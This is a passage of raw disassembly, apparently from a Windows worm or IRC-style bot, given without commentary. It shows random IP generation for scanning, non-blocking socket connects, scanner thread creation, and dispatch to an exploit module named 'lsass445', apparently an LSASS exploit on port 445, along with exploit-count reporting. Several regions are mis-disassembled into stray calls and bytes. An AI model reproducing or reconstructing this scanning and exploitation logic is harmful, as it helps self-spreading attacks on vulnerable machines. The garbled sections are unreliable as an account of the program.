		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_42123C
		push	eax
		xor	ebx, ebx
		call	sub_411963
		cmp	ds:dword_421040, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_405946
		push	esi
		mov	esi, offset dword_421048


loc_40590B:				; CODE XREF: sub_4058D8+6Bj
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_411963
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_413320
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40590B
		pop	esi


loc_405946:				; CODE XREF: sub_4058D8+2Bj
		push	ds:dword_460310
		call	sub_40876D
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_411963
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_413320
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F466
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_408CFE
		add	esp, 38h
		pop	edi
		pop	ebx
		leave
		retn
sub_4058D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4059A2	proc near		; CODE XREF: seg000:0040E94Cp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	8
		call	sub_411657
		test	eax, eax
		pop	ecx
		jle	short loc_4059DE
		mov	eax, [ebp+arg_C]
		push	ds:dword_430AE0[eax*8]
		call	ds:dword_431F1C
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_4212A8
		push	eax
		call	sub_411963
		add	esp, 0Ch
		jmp	short loc_4059F1
; ---------------------------------------------------------------------------


loc_4059DE:				; CODE XREF: sub_4059A2+13j
		lea	eax, [ebp+var_200]
		push	offset unk_421274
		push	eax
		call	sub_411963
		pop	ecx
		pop	ecx


loc_4059F1:				; CODE XREF: sub_4059A2+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40F466
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_408CFE
		add	esp, 18h
		leave
		retn
sub_4059A2	endp

; ---------------------------------------------------------------------------


loc_405A19:				; CODE XREF: sub_406142+4Fp
		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+138h]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_405DA9
		imul	eax, 3Ch
		xor	ebx, ebx
		cmp	ds:dword_42104C[eax], ebx
		jz	loc_405C8A
		push	4
		call	sub_411657
		test	eax, eax
		pop	ecx
		jnz	loc_405DA9
		mov	eax, ds:dword_424368
		push	edi
		mov	edi, offset dword_43145C
		push	104h
		push	edi
		push	ebx
		mov	ds:dword_43166C, eax
		mov	ds:dword_431668, ebx
		call	near ptr 0A70000h
		sub	byte ptr [eax+3], 1
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		mov	esi, offset dword_431560
		push	offset byte_4243E0
		push	esi
		call	sub_413150
		mov	eax, [ebp+118h]
		add	esp, 0Ch
		cmp	[ebp+98h], bl
		mov	ds:dword_431458, eax
		mov	eax, [ebp+140h]
		push	7Fh
		mov	ds:dword_4316F0, eax
		jnz	short loc_405ACC
		lea	eax, [ebp+18h]
		push	eax
		push	offset dword_431670
		call	sub_413150
		add	esp, 0Ch
		mov	ds:dword_4316F4, 1
		jmp	short loc_405AE6
; ---------------------------------------------------------------------------


loc_405ACC:				; CODE XREF: seg000:00405AADj
		lea	eax, [ebp+98h]
		push	eax
		push	offset dword_431670
		call	sub_413150
		add	esp, 0Ch
		mov	ds:dword_4316F4, ebx


loc_405AE6:				; CODE XREF: seg000:00405ACAj
		push	esi
		push	edi
		push	ds:dword_43166C
		lea	eax, [ebp-204h]
		push	offset unk_421454
		push	eax
		call	sub_411963
		push	ebx
		lea	eax, [ebp-204h]
		push	4
		push	eax
		call	sub_41140F
		add	esp, 20h
		mov	ds:dword_431664, eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	offset dword_431458
		push	offset sub_4053E1
		push	ebx
		push	ebx
		call	ds:dword_41D064	; CreateThread
		mov	ecx, ds:dword_431664
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_437034[ecx], eax
		jz	short loc_405B55


loc_405B43:				; CODE XREF: seg000:00405B53j
		cmp	ds:dword_4316F8, ebx
		jnz	short loc_405B70
		push	32h
		call	ds:dword_41D050	; Sleep
		jmp	short loc_405B43
; ---------------------------------------------------------------------------


loc_405B55:				; CODE XREF: seg000:00405B41j
		call	ds:dword_41D060	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp-204h]
		push	offset unk_42140C
		push	eax
		call	sub_411963
		add	esp, 0Ch


loc_405B70:				; CODE XREF: seg000:00405B49j
		lea	eax, [ebp-204h]
		push	eax
		call	sub_408CFE
		mov	edi, offset dword_431AB4
		mov	dword ptr [esp], 104h
		push	edi
		push	ebx
		mov	ds:dword_431CC0, ebx
		call	near ptr 0A70000h
		retf
; ---------------------------------------------------------------------------
		push	103h
		mov	esi, offset dword_431BB8
		push	offset byte_4243E0
		push	esi
		call	sub_413150
		mov	eax, [ebp+118h]
		add	esp, 0Ch
		cmp	[ebp+98h], bl
		mov	ds:dword_431AB0, eax
		mov	eax, [ebp+140h]
		push	7Fh
		mov	ds:dword_431D48, eax
		jnz	short loc_405BEB
		lea	eax, [ebp+18h]
		push	eax
		push	offset dword_431CC8
		call	sub_413150
		add	esp, 0Ch
		mov	ds:dword_431D4C, 1
		jmp	short loc_405C05
; ---------------------------------------------------------------------------


loc_405BEB:				; CODE XREF: seg000:00405BCCj
		lea	eax, [ebp+98h]
		push	eax
		push	offset dword_431CC8
		call	sub_413150
		add	esp, 0Ch
		mov	ds:dword_431D4C, ebx


loc_405C05:				; CODE XREF: seg000:00405BE9j
		push	esi
		push	edi
		push	ds:dword_431CC4
		lea	eax, [ebp-204h]
		push	offset dword_4213B8
		push	eax
		call	sub_411963
		push	ebx
		lea	eax, [ebp-204h]
		push	5
		push	eax
		call	sub_41140F
		add	esp, 20h
		mov	ds:dword_431CBC, eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	offset dword_431AB0
		push	offset sub_403BAC
		push	ebx
		push	ebx
		call	ds:dword_41D064	; CreateThread
		mov	ecx, ds:dword_431CBC
		pop	edi
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_437034[ecx], eax
		jz	short loc_405C79


loc_405C63:				; CODE XREF: seg000:00405C77j
		cmp	ds:dword_431D50, ebx
		jnz	loc_405D9C
		push	32h
		call	ds:dword_41D050	; Sleep
		jmp	short loc_405C63
; ---------------------------------------------------------------------------


loc_405C79:				; CODE XREF: seg000:00405C61j
		call	ds:dword_41D060	; RtlGetLastWin32Error
		push	eax
		push	offset dword_421374
		jmp	loc_405D8D
; ---------------------------------------------------------------------------


loc_405C8A:				; CODE XREF: seg000:00405A3Ej
		cmp	ds:dword_421050[eax], ebx
		jz	loc_405DA9
		push	3
		call	sub_411657
		test	eax, eax
		pop	ecx
		jnz	loc_405DA9
		mov	esi, offset dword_43198C
		push	104h
		push	esi
		push	ebx
		call	near ptr 0A70000h
		call	near ptr 0E896B926h
		nop
		xlat
; ---------------------------------------------------------------------------
		dw 0
; ---------------------------------------------------------------------------
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_405CC8
		mov	[eax], bl


loc_405CC8:				; CODE XREF: seg000:00405CC4j
		mov	eax, ds:dword_42436C
		mov	ds:dword_431AA4, ebx
		mov	ds:dword_431A90, eax
		lea	eax, [ebp+18h]
		push	eax
		push	offset dword_431704
		call	sub_411963
		mov	eax, [ebp+118h]
		pop	ecx
		pop	ecx
		mov	ds:dword_431700, eax
		mov	ecx, [ebp+140h]
		push	esi
		push	ds:dword_431A90
		mov	ds:dword_431A9C, ecx
		mov	ecx, [ebp+144h]
		push	eax
		mov	ds:dword_431AA0, ecx
		call	sub_407F2C
		pop	ecx
		push	eax
		lea	eax, [ebp-204h]
		push	offset unk_421324
		push	eax
		call	sub_411963
		push	ebx
		lea	eax, [ebp-204h]
		push	3
		push	eax
		call	sub_41140F
		add	esp, 20h
		mov	ds:dword_431A98, eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	offset dword_431700
		push	offset sub_4042C6
		push	ebx
		push	ebx
		call	ds:dword_41D064	; CreateThread
		mov	ecx, ds:dword_431A98
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_437034[ecx], eax
		jz	short loc_405D81


loc_405D6F:				; CODE XREF: seg000:00405D7Fj
		cmp	ds:dword_431AAC, ebx
		jnz	short loc_405D9C
		push	32h
		call	ds:dword_41D050	; Sleep
		jmp	short loc_405D6F
; ---------------------------------------------------------------------------


loc_405D81:				; CODE XREF: seg000:00405D6Dj
		call	ds:dword_41D060	; RtlGetLastWin32Error
		push	eax
		push	offset unk_4212DC


loc_405D8D:				; CODE XREF: seg000:00405C85j
		lea	eax, [ebp-204h]
		push	eax
		call	sub_411963
		add	esp, 0Ch


loc_405D9C:				; CODE XREF: seg000:00405C69j
					; seg000:00405D75j
		lea	eax, [ebp-204h]
		push	eax
		call	sub_408CFE
		pop	ecx


loc_405DA9:				; CODE XREF: seg000:00405A2Dj
					; seg000:00405A4Ej ...
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405DAD	proc near		; CODE XREF: sub_405F2E:loc_405F9Fp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:430AE0h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_411A40
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	ds:dword_431DC4
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	ds:dword_431E8C
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_411A40
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_405DAD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405DF5	proc near		; CODE XREF: sub_405F2E+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_411FB0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_405E1D
		xor	eax, eax
		jmp	short loc_405E8E
; ---------------------------------------------------------------------------


loc_405E1D:				; CODE XREF: sub_405DF5+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_412D30
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_405E4A
		call	sub_4119BF
		mov	[ebp+var_C], eax


loc_405E4A:				; CODE XREF: sub_405DF5+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_405E57
		call	sub_4119BF
		mov	[ebp+var_8], eax


loc_405E57:				; CODE XREF: sub_405DF5+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_405E64
		call	sub_4119BF
		mov	[ebp+var_4], eax


loc_405E64:				; CODE XREF: sub_405DF5+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_405E70
		call	sub_4119BF


loc_405E70:				; CODE XREF: sub_405DF5+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	ds:dword_430AE0[ecx*8],	eax


loc_405E8E:				; CODE XREF: sub_405DF5+26j
		pop	esi
		leave
		retn
sub_405DF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405E91	proc near		; CODE XREF: sub_405F2E+B8p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	ds:dword_431F10
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_405EBA
		xor	eax, eax
		jmp	short loc_405F29
; ---------------------------------------------------------------------------


loc_405EBA:				; CODE XREF: sub_405E91+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	ds:dword_431E90
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_431F2C
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	ds:dword_431E38
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	ds:dword_431E78
		push	esi
		mov	edi, eax
		call	ds:dword_431F28
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_405F29:				; CODE XREF: sub_405E91+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_405E91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F2E	proc near		; DATA XREF: sub_406142+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	ds:dword_41D044	; GetTickCount
		push	eax
		call	sub_4119B5
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_405F75:				; CODE XREF: sub_405F2E+200j
		mov	eax, ds:dword_437024[ebx]
		cmp	ds:dword_430AE4[eax*8],	0
		jz	loc_406133
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_405F9F
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_405DF5
		pop	ecx
		jmp	short loc_405FA4
; ---------------------------------------------------------------------------


loc_405F9F:				; CODE XREF: sub_405F2E+60j
		call	sub_405DAD


loc_405FA4:				; CODE XREF: sub_405F2E+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	ds:dword_437024[ebx]
		push	[ebp+var_3C]
		push	edi
		call	ds:dword_431F1C
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_4214F0
		push	eax
		call	sub_411963
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_436E20[ebx]
		push	eax
		call	sub_411963
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_405E91
		add	esp, 2Ch
		cmp	eax, 1
		jnz	loc_406123
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_406078
		push	offset dword_431440
		call	ds:dword_41D098	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	ds:dword_431F1C
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_4214B4
		push	eax
		call	sub_411963
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40605A
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40604E
		lea	eax, [ebp+var_140]


loc_40604E:				; CODE XREF: sub_405F2E+118j
		push	eax
		push	[ebp+var_40]
		call	sub_40F466
		add	esp, 14h


loc_40605A:				; CODE XREF: sub_405F2E+FDj
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_408CFE
		mov	[esp+2A8h+var_2A8], offset dword_431440
		call	ds:dword_41D094	; RtlLeaveCriticalSection
		jmp	loc_406123
; ---------------------------------------------------------------------------


loc_406078:				; CODE XREF: sub_405F2E+CDj
		push	edi
		call	ds:dword_431F1C
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_411963
		mov	eax, [ebp+var_20]
		imul	eax, 3Ch
		add	eax, offset aLsass445_0	; "lsass445"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_411963
		add	esp, 10h
		cmp	[ebp+var_C0], 0
		lea	eax, [ebp+var_C0]
		jnz	short loc_4060BC
		lea	eax, [ebp+var_140]


loc_4060BC:				; CODE XREF: sub_405F2E+186j
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_411963
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_164], eax
		imul	eax, 3Ch
		sub	esp, 0BCh
		mov	[ebp+var_168], esi
		lea	esi, [ebp+var_20C]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	ds:off_421044[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_406123:				; CODE XREF: sub_405F2E+C3j
					; sub_405F2E+145j
		push	7D0h
		call	ds:dword_41D050	; Sleep
		jmp	loc_405F75
; ---------------------------------------------------------------------------


loc_406133:				; CODE XREF: sub_405F2E+55j
		push	esi
		call	sub_41172B
		pop	ecx
		push	0
		call	near ptr 0A70000h
		aaa
sub_405F2E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406142	proc near		; DATA XREF: seg000:0040CC58o
					; seg000:0040E59Co

var_1DC		= dword	ptr -1DCh
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	ds:dword_431ED0
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	ds:dword_430AE0[ecx*8],	eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	loc_405A19
		push	8
		call	sub_411657
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_406210
		mov	esi, offset dword_431440
		push	esi
		call	ds:dword_41D0A0	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	ds:dword_41D09C	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_406210
		lea	eax, [ebp+var_1CC]
		push	offset unk_421634
		push	eax
		call	sub_411963
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_4061FA
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40F466
		add	esp, 14h


loc_4061FA:				; CODE XREF: sub_406142+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_408CFE
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_406210:				; CODE XREF: sub_406142+63j
					; sub_406142+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, ds:dword_41D050
		mov	edi, ebx
		mov	ds:dword_430AE4[eax*8],	ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_4062DD


loc_40622E:				; CODE XREF: sub_406142+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_4215E8
		push	eax
		call	sub_411963
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	8
		push	eax
		call	sub_41140F
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	ds:dword_437024[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_405F2E
		push	ebx
		push	ebx
		call	ds:dword_41D064	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	ds:dword_437034[ecx], eax
		jz	short loc_4062A8


loc_40629D:				; CODE XREF: sub_406142+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_4062CF
		push	1Eh
		call	esi ; dword_41D050
		jmp	short loc_40629D
; ---------------------------------------------------------------------------


loc_4062A8:				; CODE XREF: sub_406142+159j
		call	ds:dword_41D060	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_421598
		push	eax
		call	sub_411963
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_408CFE
		add	esp, 10h


loc_4062CF:				; CODE XREF: sub_406142+15Ej
		push	1Eh
		call	esi ; dword_41D050
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40622E


loc_4062DD:				; CODE XREF: sub_406142+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_406387
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi ; dword_41D050


loc_4062F2:				; CODE XREF: sub_406142+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, ds:dword_430AE0[eax*8]
		push	eax
		call	ds:dword_431F1C
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_421540
		push	eax
		call	sub_411963
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_406340
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_40F466
		add	esp, 14h


loc_406340:				; CODE XREF: sub_406142+1DFj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_408CFE
		mov	eax, [ebp+var_2C]
		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	ds:dword_430AE4[eax*8],	ebx
		call	esi ; dword_41D050
		push	8
		call	sub_411657
		cmp	eax, 1
		pop	ecx
		jnz	short loc_406377
		push	offset dword_431440
		call	ds:dword_41D0A0	; RtlDeleteCriticalSection


loc_406377:				; CODE XREF: sub_406142+228j
		push	[ebp+var_2C]
		call	sub_41172B
		pop	ecx
		push	ebx
		call	near ptr 0A70000h
		push	ss


loc_406387:				; CODE XREF: sub_406142+19Ej
					; sub_406142+25Dj
		mov	eax, [ebp+var_2C]
		cmp	ds:dword_430AE4[eax*8],	1
		jnz	loc_4062F2
		push	7D0h
		call	esi ; dword_41D050
		jmp	short loc_406387
sub_406142	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4063A1	proc near		; DATA XREF: seg000:0040D02Fo

var_34C		= byte ptr -34Ch
var_14C		= byte ptr -14Ch
var_148		= dword	ptr -148h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= byte ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		push	10h
		mov	[eax+120h], edi
		pop	ebx
		lea	eax, [ebp+var_10]
		push	ebx
		push	esi
		push	eax
		call	sub_4119E0
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_40]
		call	ds:dword_431E90
		push	6
		push	edi
		push	2
		mov	[ebp+var_E], ax
		mov	[ebp+var_C], esi
		mov	[ebp+arg_0], ebx
		call	ds:dword_431F10
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_406505
		mov	eax, [ebp+var_3C]
		push	edi
		imul	eax, 234h
		push	401h
		push	esi
		push	ebx
		mov	ds:dword_43702C[eax], ebx
		call	ds:dword_431DAC
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_431EBC
		test	eax, eax
		jnz	loc_406505
		push	0Ah
		push	ebx
		call	ds:dword_431EB8
		test	eax, eax
		jnz	loc_406505


loc_40644B:				; CODE XREF: sub_4063A1+BEj
					; sub_4063A1+13Fj
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	ebx
		call	ds:dword_431F24
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40644B
		movzx	eax, [ebp+var_22]
		push	[ebp+var_3C]
		mov	[ebp+var_148], edi
		mov	[ebp+var_2C], esi
		push	eax
		push	[ebp+var_20]
		call	ds:dword_431F1C
		push	eax
		lea	eax, [ebp+var_34C]
		push	offset unk_4216D0
		push	eax
		call	sub_411963
		push	edi
		lea	eax, [ebp+var_34C]
		push	10h
		push	eax
		call	sub_41140F
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	ds:dword_437024[eax], ecx
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_14C]
		push	esi
		push	eax
		push	offset loc_406529
		push	esi
		push	esi
		call	ds:dword_41D064	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	ds:dword_437034[ecx], eax
		jz	short loc_4064F0


loc_4064DD:				; CODE XREF: sub_4063A1+14Dj
		cmp	[ebp+var_2C], esi
		jnz	loc_40644B
		push	32h
		call	ds:dword_41D050	; Sleep
		jmp	short loc_4064DD
; ---------------------------------------------------------------------------


loc_4064F0:				; CODE XREF: sub_4063A1+13Aj
		call	ds:dword_41D060	; RtlGetLastWin32Error
		push	eax
		push	offset unk_421680
		call	sub_408D72
		pop	ecx
		pop	ecx
		jmp	short loc_406508
; ---------------------------------------------------------------------------


loc_406505:				; CODE XREF: sub_4063A1+61j
					; sub_4063A1+93j ...
		mov	edi, [ebp+arg_0]


loc_406508:				; CODE XREF: sub_4063A1+162j
		push	edi
		call	ds:dword_431F28
		push	ebx
		call	ds:dword_431F28
		push	[ebp+var_3C]
		call	sub_41172B
		pop	ecx
		push	esi
		call	near ptr 0A70000h
		jg	short near ptr loc_406582+4
		pop	esi
		pop	ebx
sub_4063A1	endp ; sp-analysis failed



loc_406529:				; DATA XREF: sub_4063A1+11Co
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
